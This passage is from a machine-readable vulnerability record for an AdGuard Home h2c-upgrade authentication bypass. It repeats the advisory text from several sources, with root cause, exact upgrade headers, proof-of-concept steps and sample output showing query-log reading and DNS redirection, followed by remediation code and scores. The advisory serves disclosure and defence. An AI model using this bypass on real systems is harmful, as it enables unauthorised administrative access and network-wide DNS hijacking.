HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.\n\n------------------------------------------------------------------------\nProof of Concept\n------------------------------------------------------------------------\n\nThe PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.\n\nSteps:\n  1. Open TCP connection to AdGuardHome (default port 3000).\n  2. Send HTTP/1.1 GET /control/login with headers:\n       Upgrade: h2c\n       Connection: Upgrade, HTTP2-Settings\n       HTTP2-Settings: AAMAAABkAAQAAP__\n  3. Server responds: 101 Switching Protocols.\n  4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).\n  5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.\n  6. Server responds: HTTP 200 with full JSON status payload.\n\nSample output (no username or password supplied):\n    python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8\n    ====================================================================\n    AdGuardHome -- h2c Authentication Bypass PoC\n    CWE-287: Full API access without credentials\n    ====================================================================\n    Target  : [http://192.168.1.15:80](http://192.168.1.15/)\n    Upgrade : /control/login  (whitelisted public path)\n\n    [*] Connecting and performing h2c upgrade ...\n    [+] Bypass established -- authentication is not enforced\n\n    [*] GET /control/status\n    [+] Version      : v0.107.72\n    [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']\n    [+] HTTP port    : 80\n    [+] Protection   : ON\n\n    [*] GET /control/querylog  (DNS query history)\n    [+] 10 recent entries:\n        2026-03-09T20:42:15  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:42:00  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:45  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:30  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:12  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n\n    [*] GET /control/dhcp/status  (network device inventory)\n    [+] Dynamic leases : 0\n    [+] Static leases  : 0\n\n    [*] POST /control/dns_config  (DNS -> 8.8.8.8)\n    [+] Upstream DNS changed to 8.8.8.8\n    [+] All DNS queries now route through attacker-controlled server\n\nThe bypass gives full administrative API access, including:\n  - Reading and modifying DNS configuration\n  - Adding malicious filter lists\n  - Disabling protection\n  - Changing the admin password\n  - Hijacking DNS resolution for all clients on the network\n\n------------------------------------------------------------------------\nRemediation\n------------------------------------------------------------------------\n\nMove the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:\n    authedMux := web.auth.middleware().Wrap(\n        withMiddlewares(web.conf.mux, limitRequestBody),\n    )\n    hdlr := h2c.NewHandler(authedMux, &http2.Server{})\n    web.httpServer = &http.Server{\n        Handler: hdlr,\n    }\n\nAlternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.", "title": "github - https://github.com/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "description", "text": "VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass\n========================================================================\nSeverity:  CRITICAL\nCVSS 3.1:  9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nCWE:       CWE-287 (Improper Authentication)\nComponent: internal/home/web.go\nAffected:  AdGuardHome (tested on v0.107.72)\n\n------------------------------------------------------------------------\nSummary\n------------------------------------------------------------------------\n\nAn unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.\n\n------------------------------------------------------------------------\nRoot Cause\n------------------------------------------------------------------------\n\nIn internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:\n    hdlr := h2c.NewHandler(\n        withMiddlewares(web.conf.mux, limitRequestBody),  // no auth\n        &http2.Server{},\n    )\n    web.httpServer = &http.Server{\n        Handler: web.auth.middleware().Wrap(hdlr),        // auth here\n    }\n\nThe authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.\n\n------------------------------------------------------------------------\nProof of Concept\n------------------------------------------------------------------------\n\nThe PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.\n\nSteps:\n  1. Open TCP connection to AdGuardHome (default port 3000).\n  2. Send HTTP/1.1 GET /control/login with headers:\n       Upgrade: h2c\n       Connection: Upgrade, HTTP2-Settings\n       HTTP2-Settings: AAMAAABkAAQAAP__\n  3. Server responds: 101 Switching Protocols.\n  4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).\n  5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.\n  6. Server responds: HTTP 200 with full JSON status payload.\n\nSample output (no username or password supplied):\n    python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8\n    ====================================================================\n    AdGuardHome -- h2c Authentication Bypass PoC\n    CWE-287: Full API access without credentials\n    ====================================================================\n    Target  : [http://192.168.1.15:80](http://192.168.1.15/)\n    Upgrade : /control/login  (whitelisted public path)\n\n    [*] Connecting and performing h2c upgrade ...\n    [+] Bypass established -- authentication is not enforced\n\n    [*] GET /control/status\n    [+] Version      : v0.107.72\n    [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']\n    [+] HTTP port    : 80\n    [+] Protection   : ON\n\n    [*] GET /control/querylog  (DNS query history)\n    [+] 10 recent entries:\n        2026-03-09T20:42:15  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:42:00  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:45  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:30  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:12  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n\n    [*] GET /control/dhcp/status  (network device inventory)\n    [+] Dynamic leases : 0\n    [+] Static leases  : 0\n\n    [*] POST /control/dns_config  (DNS -> 8.8.8.8)\n    [+] Upstream DNS changed to 8.8.8.8\n    [+] All DNS queries now route through attacker-controlled server\n\nThe bypass gives full administrative API access, including:\n  - Reading and modifying DNS configuration\n  - Adding malicious filter lists\n  - Disabling protection\n  - Changing the admin password\n  - Hijacking DNS resolution for all clients on the network\n\n------------------------------------------------------------------------\nRemediation\n------------------------------------------------------------------------\n\nMove the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:\n    authedMux := web.auth.middleware().Wrap(\n        withMiddlewares(web.conf.mux, limitRequestBody),\n    )\n    hdlr := h2c.NewHandler(authedMux, &http2.Server{})\n    web.httpServer = &http.Server{\n        Handler: hdlr,\n    }\n\nAlternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.", "title": "github - https://api.github.com/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "description", "text": "VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass\n========================================================================\nSeverity:  CRITICAL\nCVSS 3.1:  9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nCWE:       CWE-287 (Improper Authentication)\nComponent: internal/home/web.go\nAffected:  AdGuardHome (tested on v0.107.72)\n\n------------------------------------------------------------------------\nSummary\n------------------------------------------------------------------------\n\nAn unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.\n\n------------------------------------------------------------------------\nRoot Cause\n------------------------------------------------------------------------\n\nIn internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:\n    hdlr := h2c.NewHandler(\n        withMiddlewares(web.conf.mux, limitRequestBody),  // no auth\n        &http2.Server{},\n    )\n    web.httpServer = &http.Server{\n        Handler: web.auth.middleware().Wrap(hdlr),        // auth here\n    }\n\nThe authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.\n\n------------------------------------------------------------------------\nProof of Concept\n------------------------------------------------------------------------\n\nThe PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.\n\nSteps:\n  1. Open TCP connection to AdGuardHome (default port 3000).\n  2. Send HTTP/1.1 GET /control/login with headers:\n       Upgrade: h2c\n       Connection: Upgrade, HTTP2-Settings\n       HTTP2-Settings: AAMAAABkAAQAAP__\n  3. Server responds: 101 Switching Protocols.\n  4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).\n  5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.\n  6. Server responds: HTTP 200 with full JSON status payload.\n\nSample output (no username or password supplied):\n    python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8\n    ====================================================================\n    AdGuardHome -- h2c Authentication Bypass PoC\n    CWE-287: Full API access without credentials\n    ====================================================================\n    Target  : [http://192.168.1.15:80](http://192.168.1.15/)\n    Upgrade : /control/login  (whitelisted public path)\n\n    [*] Connecting and performing h2c upgrade ...\n    [+] Bypass established -- authentication is not enforced\n\n    [*] GET /control/status\n    [+] Version      : v0.107.72\n    [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']\n    [+] HTTP port    : 80\n    [+] Protection   : ON\n\n    [*] GET /control/querylog  (DNS query history)\n    [+] 10 recent entries:\n        2026-03-09T20:42:15  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:42:00  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:45  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:30  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n        2026-03-09T20:41:12  [docker.home.andreko.net](http://docker.home.andreko.net/)                   192.168.1.232\n\n    [*] GET /control/dhcp/status  (network device inventory)\n    [+] Dynamic leases : 0\n    [+] Static leases  : 0\n\n    [*] POST /control/dns_config  (DNS -> 8.8.8.8)\n    [+] Upstream DNS changed to 8.8.8.8\n    [+] All DNS queries now route through attacker-controlled server\n\nThe bypass gives full administrative API access, including:\n  - Reading and modifying DNS configuration\n  - Adding malicious filter lists\n  - Disabling protection\n  - Changing the admin password\n  - Hijacking DNS resolution for all clients on the network\n\n------------------------------------------------------------------------\nRemediation\n------------------------------------------------------------------------\n\nMove the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:\n    authedMux := web.auth.middleware().Wrap(\n        withMiddlewares(web.conf.mux, limitRequestBody),\n    )\n    hdlr := h2c.NewHandler(authedMux, &http2.Server{})\n    web.httpServer = &http.Server{\n        Handler: hdlr,\n    }\n\nAlternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-5fg6-wrq4-w5gh.json?alt=media" }, { "category": "description", "text": "AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass in github.com/AdguardTeam/AdGuardHome", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4686.json?alt=media" }, { "category": "description", "text": "AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.73, an unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided. This vulnerability is fixed in 0.107.73.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-32136.json?alt=media" }, { "category": "other", "text": "0.00789", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, Exploit code publicly available, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5800233", "CSAFPID-5825715", "CSAFPID-5907278", "CSAFPID-3905210", "CSAFPID-3905211", "CSAFPID-3905212", "CSAFPID-3905213", "CSAFPID-3905214", "CSAFPID-3905215", "CSAFPID-3905216", "CSAFPID-3905217", "CSAFPID-3905218", "CSAFPID-3905219", "CSAFPID-3905220", "CSAFPID-3905221", "CSAFPID-3905222", "CSAFPID-3905223", "CSAFPID-3905224", "CSAFPID-3905225", "CSAFPID-3905226", "CSAFPID-3905227", "CSAFPID-3905228", "CSAFPID-3905229", "CSAFPID-3905230", "CSAFPID-3905231", "CSAFPID-3905232", "CSAFPID-3905233", "CSAFPID-3905234", "CSAFPID-3905235", "CSAFPID-3905236", "CSAFPID-3905237", "CSAFPID-3905238", "CSAFPID-3905239", "CSAFPID-3905240", "CSAFPID-3905241", "CSAFPID-3905242", "CSAFPID-3905243", "CSAFPID-3905244", "CSAFPID-3905245", "CSAFPID-3905246", "CSAFPID-3905247", "CSAFPID-3905248", "CSAFPID-3905249", "CSAFPID-3905250", "CSAFPID-3905251", "CSAFPID-3905252", "CSAFPID-3905253", "CSAFPID-3905254", "CSAFPID-3905255", "CSAFPID-3905256", "CSAFPID-3905257", "CSAFPID-3905258", "CSAFPID-3905259", "CSAFPID-3905260", "CSAFPID-3905261", "CSAFPID-3905262", "CSAFPID-3905263", "CSAFPID-3905264", "CSAFPID-3905265", "CSAFPID-3905266", "CSAFPID-3905267", "CSAFPID-3905268", "CSAFPID-3905269", "CSAFPID-3905270", "CSAFPID-3905271", "CSAFPID-3905272", "CSAFPID-3905273", "CSAFPID-3905274", "CSAFPID-3905275", "CSAFPID-3905276", "CSAFPID-3905277", "CSAFPID-3905278", "CSAFPID-3905279", "CSAFPID-3905280", "CSAFPID-3905281", "CSAFPID-3905282", "CSAFPID-3905283", "CSAFPID-3905284", "CSAFPID-3905285", "CSAFPID-3905286", "CSAFPID-3905287", "CSAFPID-3905288", "CSAFPID-3905289", "CSAFPID-3905290", "CSAFPID-3905291", "CSAFPID-3905292", "CSAFPID-3905293", "CSAFPID-3905294", "CSAFPID-3905295", "CSAFPID-3905296", "CSAFPID-3905297", "CSAFPID-3905298", "CSAFPID-3905299", "CSAFPID-3905300", "CSAFPID-3905301", "CSAFPID-3905302", "CSAFPID-3905303", "CSAFPID-3905304", "CSAFPID-3905305", "CSAFPID-3905306", "CSAFPID-3905307", "CSAFPID-3905308", "CSAFPID-3905309", "CSAFPID-3905310", "CSAFPID-3905311", "CSAFPID-3905312", "CSAFPID-3905313", "CSAFPID-3905314", "CSAFPID-3905315", "CSAFPID-3905316", "CSAFPID-3905317", "CSAFPID-3905318", "CSAFPID-3905319", "CSAFPID-3905320", "CSAFPID-3905321", "CSAFPID-3905322", "CSAFPID-3905323", "CSAFPID-3905324", "CSAFPID-3905325", "CSAFPID-3905326", "CSAFPID-3905327", "CSAFPID-3905328", "CSAFPID-3905329", "CSAFPID-3905330", "CSAFPID-3905331", "CSAFPID-3905332", "CSAFPID-3905333", "CSAFPID-3905334", "CSAFPID-3905335", "CSAFPID-3905336", "CSAFPID-3905337", "CSAFPID-3905338", "CSAFPID-3905339", "CSAFPID-3905340", "CSAFPID-3905341", "CSAFPID-5909230", "CSAFPID-5909231", "CSAFPID-5909232", "CSAFPID-5909233", "CSAFPID-5909234", "CSAFPID-5909235", "CSAFPID-5909236", "CSAFPID-5909237", "CSAFPID-5909238", "CSAFPID-5909239", "CSAFPID-5909240", "CSAFPID-5909241", "CSAFPID-5909242", "CSAFPID-5909243", "CSAFPID-5909244", "CSAFPID-5909245", "CSAFPID-5909246", "CSAFPID-5909247", "CSAFPID-5909248", "CSAFPID-5909249", "CSAFPID-5909250" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32136" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32136" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-32136" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32136.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32136" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-5fg6-wrq4-w5gh.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4686.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-32136.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/AdguardTeam/AdGuardHome/security/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32136" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-5fg6-wrq4-w5gh" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32136.json" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-3905210", "CSAFPID-3905211", "CSAFPID-3905212", "CSAFPID-3905213", "CSAFPID-3905214", "CSAFPID-3905215", "CSAFPID-3905216", "CSAFPID-3905217", "CSAFPID-3905218", "CSAFPID-3905219", "CSAFPID-3905220", "CSAFPID-3905221", "CSAFPID-3905222", "CSAFPID-3905223", "CSAFPID-3905224", "CSAFPID-3905225", "CSAFPID-3905226", "CSAFPID-3905227", "CSAFPID-3905228", "CSAFPID-3905229", "CSAFPID-3905230", "CSAFPID-3905231", "CSAFPID-3905232", "CSAFPID-3905233", "CSAFPID-3905234", "CSAFPID-3905235", "CSAFPID-3905236", "CSAFPID-3905237", "CSAFPID-3905238", "CSAFPID-3905239", "CSAFPID-3905240", "CSAFPID-3905241", "CSAFPID-3905242", "CSAFPID-3905243", "CSAFPID-3905244", "CSAFPID-3905245", "CSAFPID-3905246", "CSAFPID-3905247", "CSAFPID-3905248", "CSAFPID-3905249", "CSAFPID-3905250", "CSAFPID-3905251", "CSAFPID-3905252", "CSAFPID-3905253", "CSAFPID-3905254", "CSAFPID-3905255", "CSAFPID-3905256", "CSAFPID-3905257", "CSAFPID-3905258", "CSAFPID-3905259", "CSAFPID-3905260", "CSAFPID-3905261", "CSAFPID-3905262", "CSAFPID-3905263", "CSAFPID-3905264", "CSAFPID-3905265", "CSAFPID-3905266", "CSAFPID-3905267", "CSAFPID-3905268", "CSAFPID-3905269", "CSAFPID-3905270", "CSAFPID-3905271", "CSAFPID-3905272", "CSAFPID-3905273", "CSAFPID-3905274", "CSAFPID-3905275", "CSAFPID-3905276", "CSAFPID-3905277", "CSAFPID-3905278", "CSAFPID-3905279", "CSAFPID-3905280", "CSAFPID-3905281", "CSAFPID-3905282", "CSAFPID-3905283", "CSAFPID-3905284", "CSAFPID-3905285", "CSAFPID-3905286", "CSAFPID-3905287", "CSAFPID-3905288", "CSAFPID-3905289", "CSAFPID-3905290", "CSAFPID-3905291", "CSAFPID-3905292", "CSAFPID-3905293", "CSAFPID-3905294", "CSAFPID-3905295", "CSAFPID-3905296", "CSAFPID-3905297", "CSAFPID-3905298", "CSAFPID-3905299", "CSAFPID-3905300", "CSAFPID-3905301", "CSAFPID-3905302", "CSAFPID-3905303", "CSAFPID-3905304", "CSAFPID-3905305", "CSAFPID-3905306", "CSAFPID-3905307", "CSAFPID-3905308", "CSAFPID-3905309", "CSAFPID-3905310", "CSAFPID-3905311", "CSAFPID-3905312", "CSAFPID-3905313", "CSAFPID-3905314", "CSAFPID-3905315", "CSAFPID-3905316", "CSAFPID-3905317", "CSAFPID-3905318", "CSAFPID-3905319", "CSAFPID-3905320", "CSAFPID-3905321", "CSAFPID-3905322", "CSAFPID-3905323", "CSAFPID-3905324", "CSAFPID-3905325", "CSAFPID-3905326", "CSAFPID-3905327", "CSAFPID-3905328", "CSAFPID-3905329", "CSAFPID-3905330", "CSAFPID-3905331", "CSAFPID-3905332", "CSAFPID-3905333", "CSAFPID-3905334", "CSAFPID-3905335", "CSAFPID-3905336", "CSAFPID-3905337", "CSAFPID-3905338", "CSAFPID-3905339", "CSAFPID-3905340", "CSAFPID-3905341", "CSAFPID-5800233", "CSAFPID-5825715", "CSAFPID-5907278", "CSAFPID-5909230", "CSAFPID-5909231", "CSAFPID-5909232", "CSAFPID-5909233", "CSAFPID-5909234", "CSAFPID-5909235", "CSAFPID-5909236", "CSAFPID-5909237", "CSAFPID-5909238", "CSAFPID-5909239", "CSAFPID-5909240", "CSAFPID-5909241", "CSAFPID-5909242", "CSAFPID-5909243", "CSAFPID-5909244", "CSAFPID-5909245", "CSAFPID-5909246", "CSAFPID-5909247", "CSAFPID-5909248", "CSAFPID-5909249", "CSAFPID-5909250" ] } ], "title": "CVE-2026-32136" } ] }